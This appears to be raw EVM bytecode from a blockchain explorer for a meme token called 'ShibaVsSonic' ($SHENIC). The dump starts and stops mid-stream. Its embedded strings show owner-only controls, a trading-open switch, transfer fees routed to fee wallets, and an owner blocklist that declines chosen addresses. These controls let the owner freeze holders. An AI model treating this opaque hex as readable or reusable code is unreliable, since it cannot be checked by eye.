6040516108df9190612a1e565b60405180910390f35b3480156108f457600080fd5b506108fd611650565b60405161090a9190612a1e565b60405180910390f35b34801561091f57600080fd5b5061093a60048036038101906109359190612ec7565b611656565b6040516109479190612a1e565b60405180910390f35b34801561095c57600080fd5b5061097760048036038101906109729190612f33565b6116dd565b005b34801561098557600080fd5b506109a0600480360381019061099b9190612d20565b611702565b6040516109ad9190612c07565b60405180910390f35b3480156109c257600080fd5b506109cb611722565b6040516109d89190612fd2565b60405180910390f35b3480156109ed57600080fd5b506109f6611748565b604051610a039190612a1e565b60405180910390f35b348015610a1857600080fd5b50610a2161174e565b604051610a2e9190612c07565b60405180910390f35b601f5481565b60606040518060400160405280600c81526020017f53686962615673536f6e69630000000000000000000000000000000000000000815250905090565b610a8333610ff4565b610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990613039565b60405180910390fd5b600a811015610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906130cb565b60405180910390fd5b6103e881600554610b17919061311a565b610b21919061318b565b60078190555050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c0a9190612a1e565b60405180910390a36001905092915050565b600082610c28836115d8565b11905092915050565b60135481565b6000600554905090565b60125481565b610c5033610ff4565b610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690613039565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051610d5591906131dd565b60405180910390a150565b81601b8190555080601c819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f5e57610edd826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117619092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f698484846117c5565b90509392505050565b6000610fef610fa2600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611200565b610fe1610fd0600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611200565b600554611be890919063ffffffff16565b611be890919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60155481565b60006004905090565b61106533610ff4565b6110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b90613039565b60405180910390fd5b83601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555082601860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081601960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b60006111da827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff610b2a565b9050919050565b60165481565b600f5481565b601e60159054906101000a900460ff1681565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60075481565b60065481565b60005b828290508110156112f3576001600d600085858581811061127c5761127b6131f8565b5b90506020020160208101906112919190612d20565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550806112ec90613227565b9050611258565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f245348454e494300000000000000000000000000000000000000000000000000815250905090565b600e5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b60008273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846040518363ffffffff1660e01b815260040161141992919061326f565b6020604051808303816000875af1158015611438573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061145c91906132ad565b905092915050565b6000479050601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc606484846114b3919061311a565b6114bd919061318b565b9081150290604051600060405180830381858888f193505050501580156114e8573d6000803e3d6000fd5b505050565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006115203384846117c5565b905092915050565b61153133610ff4565b611570576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156790613039565b60405180910390fd5b60018110156115b4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115ab9061334c565b60405180910390fd5b6103e8816005546115c5919061311a565b6115cf919061318b565b60068190555050565b60006116436115e5610f72565b6116356116266002611618601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611200565b611c3290919063ffffffff16565b85611c3290919063ffffffff16565b611cac90919063ffffffff16565b9050919050565b60105481565b60115481565b6000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b81601e60156101000a81548160ff02191690831515021790555080601f819055505050565b600d6020528060005260406000206000915054906101000a900460ff1681565b601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60145481565b601e60149054906101000a900460ff1681565b60008383111582906117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a09190612ac9565b60405180910390fd5b50600083856117b8919061336c565b9050809150509392505050565b6000602060009054906101000a900460ff16156117ee576117e7848484611cf6565b9050611be1565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118925750600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118e757601e60149054906101000a900460ff166118e6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118dd906133ec565b60405180910390fd5b5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561198b5750600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6119ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c190613458565b60405180910390fd5b6119d2611ec9565b156119e0576119df611fa0565b5b611a69826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117619092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000611ab785612517565b1580611ac95750611ac784612517565b155b611add57611ad885848661256e565b611adf565b825b9050611b3381600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461294490919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bd39190612a1e565b60405180910390a360019150505b9392505050565b6000611c2a83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611761565b905092915050565b6000808303611c445760009050611ca6565b60008284611c52919061311a565b9050828482611c61919061318b565b14611ca1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c98906134ea565b60405180910390fd5b809150505b92915050565b6000611cee83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506129a2565b905092915050565b6000611d81826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600860008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117619092919063ffffffff16565b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e1682600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461294490919063ffffffff16565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611eb69190612a1e565b60405180910390a3600190509392505050565b6000601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015611f365750602060009054906101000a900460ff16155b8015611f4e5750601e60159054906101000a900460ff165b8015611f9b5750601f54600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b905090565b6001602060006101000a81548160ff0219169083151502179055506000611fcb601b54601c54610c1c565b611fd757600e54611fda565b60005b9050600061201a600261200c601254611ffe86601f54611c3290919063ffffffff16565b611cac90919063ffffffff16565b611cac90919063ffffffff16565b9050600061203382601f54611be890919063ffffffff16565b90506000600267ffffffffffffffff8111156120525761205161350a565b5b6040519080825280602002602001820160405280156120805781602001602082028036833780820191505090505b5090503081600081518110612098576120976131f8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681600181518110612109576121086131f8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506000479050601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008530426040518663ffffffff1660e01b81526004016121ac959493929190613632565b600060405180830381600087803b1580156121c657600080fd5b505af11580156121da573d6000803e3d6000fd5b5050505060006121f38247611be890919063ffffffff16565b9050600061221f61220e600289611cac90919063ffffffff16565b601254611be890919063ffffffff16565b9050600061225b600261224d8461223f8c88611c3290919063ffffffff16565b611cac90919063ffffffff16565b611cac90919063ffffffff16565b9050600061228683612278600f5487611c3290919063ffffffff16565b611cac90919063ffffffff16565b905060006122b1846122a360105488611c3290919063ffffffff16565b611cac90919063ffffffff16565b90506000601860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1683617530906040516122ff906136bd565b600060405180830381858888f193505050503d806000811461233d576040519150601f19603f3d011682016040523d82523d6000602084013e612342565b606091505b50509050601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168261753090604051612390906136bd565b600060405180830381858888f193505050503d80600081146123ce576040519150601f19603f3d011682016040523d82523d6000602084013e6123d3565b606091505b5050809150506000905060008a11156124ef57601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71985308d600080601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161246f969594939291906136d2565b60606040518083038185885af115801561248d573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906124b29190613748565b5050507f424db2872186fa7e7afa7a5e902ed3b49a2ef19c2f5431e672462495dd6b4506848b6040516124e692919061379b565b60405180910390a15b50505050505050505050506000602060006101000a81548160ff021916908315150217905550565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16159050919050565b6000806016549050601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036125d5576014549050612631565b601e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036126305760155490505b5b600061267a6064601354612645919061311a565b61266c8461265e6012548a611c3290919063ffffffff16565b611c3290919063ffffffff16565b611cac90919063ffffffff16565b905060006126a760125461269960115485611c3290919063ffffffff16565b611cac90919063ffffffff16565b905060006126be8284611be890919063ffffffff16565b905061271281600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461294490919063ffffffff16565b600860003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127c98260086000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461294490919063ffffffff16565b60086000601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161288b9190612a1e565b60405180910390a3600082111561292457601a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161291b9190612a1e565b60405180910390a35b6129378388611be890919063ffffffff16565b9450505050509392505050565b600080828461295391906137c4565b905083811015612998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161298f90613844565b60405180910390fd5b8091505092915050565b600080831182906129e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e09190612ac9565b60405180910390fd5b50600083856129f8919061318b565b9050809150509392505050565b6000819050919050565b612a1881612a05565b82525050565b6000602082019050612a336000830184612a0f565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612a73578082015181840152602081019050612a58565b60008484015250505050565b6000601f19601f8301169050919050565b6000612a9b82612a39565b612aa58185612a44565b9350612ab5818560208601612a55565b612abe81612a7f565b840191505092915050565b60006020820190508181036000830152612ae38184612a90565b905092915050565b600080fd5b600080fd5b612afe81612a05565b8114612b0957600080fd5b50565b600081359050612b1b81612af5565b92915050565b600060208284031215612b3757612b36612aeb565b5b6000612b4584828501612b0c565b91505092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612b7982612b4e565b9050919050565b612b8981612b6e565b8114612b9457600080fd5b50565b600081359050612ba681612b80565b92915050565b60008060408385031215612bc357612bc2612aeb565b5b6000612bd185828601612b97565b9250506020612be285828601612b0c565b9150509250929050565b60008115159050919050565b612c0181612bec565b82525050565b6000602082019050612c1c6000830184612bf8565b92915050565b60008060408385031215612c3957612c38612aeb565b5b6000612c4785828601612b0c565b9250506020612c5885828601612b0c565b9150509250929050565b6000612c6d82612b4e565b9050919050565b612c7d81612c62565b8114612c8857600080fd5b50565b600081359050612c9a81612c74565b92915050565b600060208284031215612cb657612cb5612aeb565b5b6000612cc484828501612c8b565b91505092915050565b600080600060608486031215612ce657612ce5612aeb565b5b6000612cf486828701612b97565b9350506020612d0586828701612b97565b9250506040612d1686828701612b0c565b9150509250925092565b600060208284031215612d3657612d35612aeb565b5b6000612d4484828501612b97565b91505092915050565b600060ff82169050919050565b612d6381612d4d565b82525050565b6000602082019050612d7e6000830184612d5a565b92915050565b60008060008060808587031215612d9e57612d9d612aeb565b5b6000612dac87828801612b97565b9450506020612dbd87828801612b97565b9350506040612dce87828801612b97565b9250506060612ddf87828801612b97565b91505092959194509250565b600080fd5b600080fd5b600080fd5b60008083601f840112612e1057612e0f612deb565b5b8235905067ffffffffffffffff811115612e2d57612e2c612df0565b5b602083019150836020820283011115612e4957612e48612df5565b5b9250929050565b60008060208385031215612e6757612e66612aeb565b5b600083013567ffffffffffffffff811115612e8557612e84612af0565b5b612e9185828601612dfa565b92509250509250929050565b612ea681612b6e565b82525050565b6000602082019050612ec16000830184612e9d565b92915050565b60008060408385031215612ede57612edd612aeb565b5b6000612eec85828601612b97565b9250506020612efd85828601612b97565b9150509250929050565b612f1081612bec565b8114612f1b57600080fd5b50565b600081359050612f2d81612f07565b92915050565b60008060408385031215612f4a57612f49612aeb565b5b6000612f5885828601612f1e565b9250506020612f6985828601612b0c565b9150509250929050565b6000819050919050565b6000612f98612f93612f8e84612b4e565b612f73565b612b4e565b9050919050565b6000612faa82612f7d565b9050919050565b6000612fbc82612f9f565b9050919050565b612fcc81612fb1565b82525050565b6000602082019050612fe76000830184612fc3565b92915050565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b6000613023600683612a44565b915061302e82612fed565b602082019050919050565b6000602082019050818103600083015261305281613016565b9050919050565b7f4d61782057616c6c65742063616e6e6f74206265206c6f776572207468616e2060008201527f312520746f74616c20737570706c792e00000000000000000000000000000000602082015250565b60006130b5603083612a44565b91506130c082613059565b604082019050919050565b600060208201905081810360008301526130e4816130a8565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600061312582612a05565b915061313083612a05565b925082820261313e81612a05565b91508282048414831517613155576131546130eb565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061319682612a05565b91506131a183612a05565b9250826131b1576131b061315c565b5b828204905092915050565b60006131c782612f9f565b9050919050565b6131d7816131bc565b82525050565b60006020820190506131f260008301846131ce565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600061323282612a05565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613264576132636130eb565b5b600182019050919050565b60006040820190506132846000830185612e9d565b6132916020830184612a0f565b9392505050565b6000815190506132a781612f07565b92915050565b6000602082840312156132c3576132c2612aeb565b5b60006132d184828501613298565b91505092915050565b7f4d6178205472616e73616374696f6e2063616e6e6f74206265206c6f7765722060008201527f7468616e20302e312520746f74616c20737570706c792e000000000000000000602082015250565b6000613336603783612a44565b9150613341826132da565b604082019050919050565b6000602082019050818103600083015261336581613329565b9050919050565b600061337782612a05565b915061338283612a05565b925082820390508181111561339a576133996130eb565b5b92915050565b7f54726164696e67206e6f74206f70656e20796574000000000000000000000000600082015250565b60006133d6601483612a44565b91506133e1826133a0565b602082019050919050565b60006020820190508181036000830152613405816133c9565b9050919050565b7f41646472657373206973204465636c696e656400000000000000000000000000600082015250565b6000613442601383612a44565b915061344d8261340c565b602082019050919050565b6000602082019050818103600083015261347181613435565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006134d4602183612a44565b91506134df82613478565b604082019050919050565b60006020820190508181036000830152613503816134c7565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000819050919050565b600061355e61355961355484613539565b612f73565b612a05565b9050919050565b61356e81613543565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6135a981612b6e565b82525050565b60006135bb83836135a0565b60208301905092915050565b6000602082019050919050565b60006135df82613574565b6135e9818561357f565b93506135f483613590565b8060005b8381101561362557815161360c88826135af565b9750613617836135c7565b9250506001810190506135f8565b5085935050505092915050565b600060a0820190506136476000830188612a0f565b6136546020830187613565565b818103604083015261366681866135d4565b90506136756060830185612e9d565b6136826080830184612a0f565b9695505050505050565b600081905092915050565b50565b60006136a760008361368c565b91506136b282613697565b600082019050919050565b60006136c88261369a565b9150819050919050565b600060c0820190506136e76000830189612e9d565b6136f46020830188612a0f565b6137016040830187613565565b61370e6060830186613565565b61371b6080830185612e9d565b61372860a0830184612a0f565b979650505050505050565b60008151905061374281612af5565b92915050565b60008060006060848603121561376157613760612aeb565b5b600061376f86828701613733565b935050602061378086828701613733565b925050604061379186828701613733565b9150509250925092565b60006040820190506137b06000830185612a0f565b6137bd6020830184612a0f565b9392505050565b60006137cf82612a05565b91506137da83612a05565b92508282019050808211156137f2576137f16130eb565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600061382e601b83612a44565b9150613839826137f8565b602082019050919050565b6000602082019050818103600083015261385d81613821565b905091905056fea2646970667358221220bfa735fe922a172214575243780f6018aec9b2809d81f2823d1abd86c945b04e64736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102555760003560e01c806378109e5411610139578063a9059cbb116100b6578063dd62ed3e1161007a578063dd62ed3e14610913578063df20fd4914610950578063ef1f153814610979578063f887ea40146109b6578063fed0d2a1146109e1578063ffb54a9914610a0c5761025c565b8063a9059cbb1461081a578063bd9ab53714610857578063d51ed1c814610880578063d58f2f27146108bd578063dccd8bd2146108e85761025c565b806398118cb4116100fd57806398118cb41461072157806398be37861461074c57806398e0ae14146107895780639c75dd35146107c6578063a8aa1b31146107ef5761025c565b806378109e541461064c5780637d1db4a5146106775780637f274d58146106a2578063893d20e8146106cb57806395d89b41146106f65761025c565b806323b872dd116101d25780633c8e556d116101965780633c8e556d14610528578063571ac8b0146105515780635921652f1461058e5780636b67c4df146105b95780636ddd1713146105e457806370a082311461060f5761025c565b806323b872dd1461042d5780632b112e491461046a5780632f54bf6e146104955780633121c7c0146104d2578063313ce567146104fd5761025c565b8063180b0d7e11610219578063180b0d7e1461035a57806318160ddd146103855780631df4ccfc146103b05780631f76a7af146103db578063201e7991146104045761025c565b80630445b6671461026157806306fdde031461028c57806309302dc6146102b7578063095ea7b3146102e05780631161ae391461031d5761025c565b3661025c57005b600080fd5b34801561026d57600080fd5b50610276610a37565b6040516102839190612a1e565b60405180910390f35b34801561029857600080fd5b506102a1610a3d565b6040516102ae9190612ac9565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190612b21565b610a7a565b005b3480156102ec57600080fd5b5061030760048036038101906103029190612bac565b610b2a565b6040516103149190612c07565b60405180910390f35b34801561032957600080fd5b50610344600480360381019061033f9190612c22565b610c1c565b6040516103519190612c07565b60405180910390f35b34801561036657600080fd5b5061036f610c31565b60405161037c9190612a1e565b60405180910390f35b34801561039157600080fd5b5061039a610c37565b6040516103a79190612a1e565b60405180910390f35b3480156103bc57600080fd5b506103c5610c41565b6040516103d29190612a1e565b60405180910390f35b3480156103e757600080fd5b5061040260048036038101906103fd9190612ca0565b610c47565b005b34801561041057600080fd5b5061042b60048036038101906104269190612c22565b610d60565b005b34801561043957600080fd5b50610454600480360381019061044f9190612ccd565b610d72565b6040516104619190612c07565b60405180910390f35b34801561047657600080fd5b5061047f610f72565b60405161048c9190612a1e565b60405180910390f35b3480156104a157600080fd5b506104bc60048036038101906104b79190612d20565b610ff4565b6040516104c99190612c07565b60405180910390f35b3480156104de57600080fd5b506104e761104d565b6040516104f49190612a1e565b60405180910390f35b34801561050957600080fd5b50610512611053565b60405161051f9190612d69565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190612d84565b61105c565b005b34801561055d57600080fd5b5061057860048036038101906105739190612d20565b6111ae565b6040516105859190612c07565b60405180910390f35b34801561059a57600080fd5b506105a36111e1565b6040516105b09190612a1e565b60405180910390f35b3480156105c557600080fd5b506105ce6111e7565b6040516105db9190612a1e565b60405180910390f35b3480156105f057600080fd5b506105f96111ed565b6040516106069190612c07565b60405180910390f35b34801561061b57600080fd5b5061063660048036038101906106319190612d20565b611200565b6040516106439190612a1e565b60405180910390f35b34801561065857600080fd5b50610661611249565b60405161066e9190612a1e565b60405180910390f35b34801561068357600080fd5b5061068c61124f565b6040516106999190612a1e565b60405180910390f35b3480156106ae57600080fd5b506106c960048036038101906106c49190612e50565b611255565b005b3480156106d757600080fd5b506106e06112f8565b6040516106ed9190612eac565b60405180910390f35b34801561070257600080fd5b5061070b611321565b6040516107189190612ac9565b60405180910390f35b34801561072d57600080fd5b5061073661135e565b6040516107439190612a1e565b60405180910390f35b34801561075857600080fd5b50610773600480360381019061076e9190612d20565b611364565b6040516107809190612c07565b60405180910390f35b34801561079557600080fd5b506107b060048036038101906107ab9190612bac565b6113ba565b6040516107bd9190612c07565b60405180910390f35b3480156107d257600080fd5b506107ed60048036038101906107e89190612b21565b611464565b005b3480156107fb57600080fd5b506108046114ed565b6040516108119190612eac565b60405180910390f35b34801561082657600080fd5b50610841600480360381019061083c9190612bac565b611513565b60405161084e9190612c07565b60405180910390f35b34801561086357600080fd5b5061087e60048036038101906108799190612b21565b611528565b005b34801561088c57600080fd5b506108a760048036038101906108a29190612b21565b6115d8565b6040516108b49190612a1e565b60405180910390f35b3480156108c957600080fd5b506108d261164a565b6040516108df9190612a1e565b60405180910390f35b3480156108f457600080fd5b506108fd611650565b60405161090a9190612a1e565b60405180910390f35b34801561091f57600080fd5b5061093a60048036038101906109359190612ec7565b611656565b6040516109479190612a1e565b60405180910390f35b34801561095c57600080fd5b5061097760048036038101906109729190612f33565b6116dd565b005b34801561098557600080fd5b506109a0600480360381019061099b9190612d20565b611702565b6040516109ad9190612c07565b60405180910390f35b3480156109c257600080fd5b506109cb611722565b6040516109d89190612fd2565b60405180910390f35b3480156109ed57600080fd5b506109f6611748565b604051610a039190612a1e565b60405180910390f35b348015610a1857600080fd5b50610a2161174e565b604051610a2e9190612c07565b60405180910390f35b601f5481565b60606040518060400160405280600c81526020017f53686962615673536f6e69630000000000000000000000000000000000000000815250905090565b610a8333610ff4565b610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990613039565b60405180910390fd5b600a811015610b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610afd906130cb565b60405180910390fd5b6103e881600554610b17919061311a565b610b21919061318b565b60078190555050565b600081600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610c0a9190612a1e565b60405180910390a36001905092915050565b600082610c28836115d8565b11905092915050565b60135481565b6000600554905090565b60125481565b610c5033610ff4565b610c8f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8690613039565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060018060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051610d5591906131dd565b60405180910390a150565b81601b8190555080601c819055505050565b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610f5e57610edd826040518060400160405280601681526020017f496e73756666696369656e7420416c6c6f77616e636500000000000000000000815250600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117619092919063ffffffff16565b600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610f698484846117c5565b90509392505050565b6000610fef610fa2600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611200565b610fe1610fd0600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611200565b600554611be890919063ffffffff16565b611be890919063ffffffff16565b905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16149050919050565b60155481565b60006004905090565b61106533610ff4565b6110a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161109b90613039565b60405180910390fd5b83601760006101000a8